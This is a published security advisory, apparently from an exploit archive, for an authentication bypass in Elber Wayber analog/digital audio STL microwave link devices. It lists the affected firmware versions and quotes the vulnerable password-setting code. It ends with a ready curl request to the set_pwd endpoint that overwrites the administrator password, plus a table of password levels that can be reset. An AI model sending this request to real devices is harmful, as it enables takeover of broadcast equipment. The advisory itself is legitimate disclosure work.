76d99ff06e
7 changes to exploits/shellcodes/ghdb Elber ESE DVB-S/S2 Satellite Receiver 1.5.x - Authentication Bypass Elber ESE DVB-S/S2 Satellite Receiver 1.5.x - Device Config Elber Wayber Analog/Digital Audio STL 4.00 - Authentication Bypass Elber Wayber Analog/Digital Audio STL 4.00 - Device Config Disclosure HughesNet HT2000W Satellite Modem - Password Reset Aurba 501 - Authenticated RCE
70 lines
No EOL
2.5 KiB
Text
70 lines
No EOL
2.5 KiB
Text
Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass
|
|
|
|
|
|
Vendor: Elber S.r.l.
|
|
Product web page: https://www.elber.it
|
|
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
|
|
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
|
|
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
|
|
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
|
|
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
|
|
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
|
|
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)
|
|
|
|
Summary: Wayber II is the name of an analogue/digital microwave link
|
|
able to transport a Mono or a MPX stereo signal from studio to audio
|
|
transmitter. Compact and reliable, it features very high quality and
|
|
modern technology both in signal processing and microwave section leading
|
|
to outstanding performances.
|
|
|
|
Desc: The device suffers from an authentication bypass vulnerability through
|
|
a direct and unauthorized access to the password management functionality. The
|
|
issue allows attackers to bypass authentication by manipulating the set_pwd
|
|
endpoint that enables them to overwrite the password of any user within the
|
|
system. This grants unauthorized and administrative access to protected areas
|
|
of the application compromising the device's system security.
|
|
|
|
--------------------------------------------------------------------------
|
|
/modules/pwd.html
|
|
------------------
|
|
50: function apply_pwd(level, pwd)
|
|
51: {
|
|
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},
|
|
53: function(data){
|
|
54: //$.alert({title:'Operation',text:data});
|
|
55: show_message(data);
|
|
56: }).fail(function(error){
|
|
57: show_message('Error ' + error.status, 'error');
|
|
58: });
|
|
59: }
|
|
|
|
--------------------------------------------------------------------------
|
|
|
|
Tested on: NBFM Controller
|
|
embOS/IP
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2024-5822
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php
|
|
|
|
|
|
18.08.2023
|
|
|
|
--
|
|
|
|
|
|
$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234
|
|
|
|
Ref (lev param):
|
|
|
|
Level 7 = SNMP Write Community (snmp_write_pwd)
|
|
Level 6 = SNMP Read Community (snmp_read_pwd)
|
|
Level 5 = Custom Password? hidden. (custom_pwd)
|
|
Level 4 = Display Password (display_pwd)?
|
|
Level 2 = Administrator Password (admin_pwd)
|
|
Level 1 = Super User Password (puser_pwd)
|
|
Level 0 = User Password (user_pwd) |